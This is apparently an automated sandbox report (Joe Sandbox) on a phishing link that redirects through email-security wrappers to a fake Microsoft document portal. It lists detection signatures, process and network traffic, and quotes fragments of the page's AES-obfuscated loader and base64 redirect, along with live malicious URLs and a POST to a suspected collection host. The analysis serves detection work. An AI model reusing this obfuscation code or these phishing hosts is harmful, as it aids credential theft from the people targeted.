Edit tour

Windows Analysis Report
https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b1

Overview

General Information

Sample URL:	https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMc
Analysis ID:	1492616
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish10

Yara detected HtmlPhish70

HTML page contains hidden URLs

HTML page contains suspicious javascript code

Phishing site detected (based on logo match)

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4828 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2248,i,14129833127138606073,14990406527809725278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6416 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_53	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security

HTML

Source	Rule	Description	Author
1.0.pages.csv	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
5.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://shared.outlook.inky.com/link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected phishing page

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	LLM: Score: 10 Reasons: The domain 'documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com' is unusual and does not match the typical domain for Microsoft. The domain includes 'linodeobjects.com', which is not commonly associated with Microsoft. The simplicity of the design and the lack of additional branding elements, such as the Microsoft logo, further supports the possibility of a phishing attempt. DOM: 1.1.pages.csv
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	LLM: Score: 8 Reasons: The domain 'documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com' is long and complex, with multiple subdomains, and does not appear to be directly associated with Microsoft's official domains, raising concerns about the authenticity of the site. DOM: 5.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 5.2.pages.csv, type: HTML

Yara detected HtmlPhish70

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_53, type: DROPPED

HTML page contains hidden URLs

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: https://novateche.com.ru///8809.php
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: https://novateche.com.ru///8809.php

HTML page contains suspicious javascript code

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: window.location.href = atob(
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: window.location.href = atob(

Phishing site detected (based on logo match)

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	Matcher: Template: microsoft matched
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	Matcher: Template: microsoft matched

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html

HTTP Parser: async function fabulous(icky) {  var {a,b,c,d} = json.parse(icky); return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8, iterations: 999}), {iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8); } async function dairywoman() {packager.hidden = 0;idealistically.hidden = 1; document.write(await fabulous(await (await fetch(await fabulous(atob(`eyjhijoic3pabw81dgfjww96cmpjquvwqlnztni4ovrxnnvucmv3r3ranjncq2l6st0ilcjjijoimdvizgywzwnkzjzmmdg1mzgxzjbhode1yjmxotnmzjuilcjiijoinzy5mzvmzwm3otq4owu3zdk4nzriztuxywrkn2vjyzu5mzhmogi2odzlnznhmjnmywfly2q1mju0zje1mmq0zgjhodg0m2niodfizmjjmdhlmwniyjmymjbmzgrhmzdjmmm0mji2owq3mjyxmgjlndvlzmywyjflyta5mjqwywnlodq4ota3mwq3njy0yznjzwmwyjrlztc1ytdmzdjmogizzjk0nweymti4nmflodjmmdc5zdc5zme0mdiwmwvlyjuxzmvjyjm3n2ezotq2nzmxodk4yze4ytayyzbiogq1otixymmxztywywqzotrjogmxywuwnwjlmwi...

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: Number of links: 0
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: Number of links: 0

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: Total embedded image size: 45708
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: Total embedded image size: 45708

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html

HTTP Parser: Base64 decoded: {"a":"szZmo5taIYozrjcAEpBSsNr89Tq6uTrewGtZ63BCizI=","c":"05bdf0ecdf6f085381f0a815b3193ff5","b":"76935fec79489e7d9874be51add7ecc5938f8b686e73a23faaecd5254f152d4dba8843cb81bfbc08e1cbb3220fdda37c2c42269d72610be45eff0b1ea09240ace8489071d7664c3cec0b4ee75a7fd2f...

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: Title: idler does not match URL
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: Title: idler does not match URL

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: No favicon
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: No favicon
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: No favicon

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: No <meta name="author".. found
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: No <meta name="author".. found

Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html#	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: urldefense.proofpoint.com to https://peoplesynergie.com/tmp/

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P HTTP/1.1Host: shared.outlook.inky.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/url?u=https-3A__peoplesynergie.com_tmp_&d=DwMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=W57LHXoCWR4e2N4Uv3DZzSApN16qR-bQOJidqNXUrwg&m=jDQrQGk_4h8wFFQ1qKU_P_euLtD3Ly6ADUdDLnWxFWMM7qMDtjm2XqBqvEiQvL03&s=M1gv-QgIJtpLMwkrO4yaT2l8o7xYu0CIYKCy3yqVz80&e= HTTP/1.1Host: urldefense.proofpoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tmp/ HTTP/1.1Host: peoplesynergie.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/cc21665cd7b9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/cc21665cd7b9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET // HTTP/1.1Host: novateche.com.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: shared.outlook.inky.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: urldefense.proofpoint.com
Source: global traffic	DNS traffic detected: DNS query: peoplesynergie.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: novateche.com.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

Source: unknown

HTTP traffic detected: POST // HTTP/1.1Host: novateche.com.ruConnection: keep-aliveContent-Length: 24sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_51.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/
Source: chromecache_51.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: chromecache_53.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_53.2.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js
Source: chromecache_51.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.5.1.slim.min.js
Source: chromecache_54.2.dr	String found in binary or memory: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html
Source: chromecache_54.2.dr	String found in binary or memory: https://google.com
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#about
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#classic-cars
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#contact
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#electric-vehicles
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#faq
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#learn-more
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#modern-supercars
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#privacy
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#services
Source: chromecache_51.2.dr	String found in binary or memory: https://novateche.com.ru/#terms
Source: chromecache_51.2.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: classification engine

Classification label: mal88.phis.win@20/18@28/13

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2248,i,14129833127138606073,14990406527809725278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
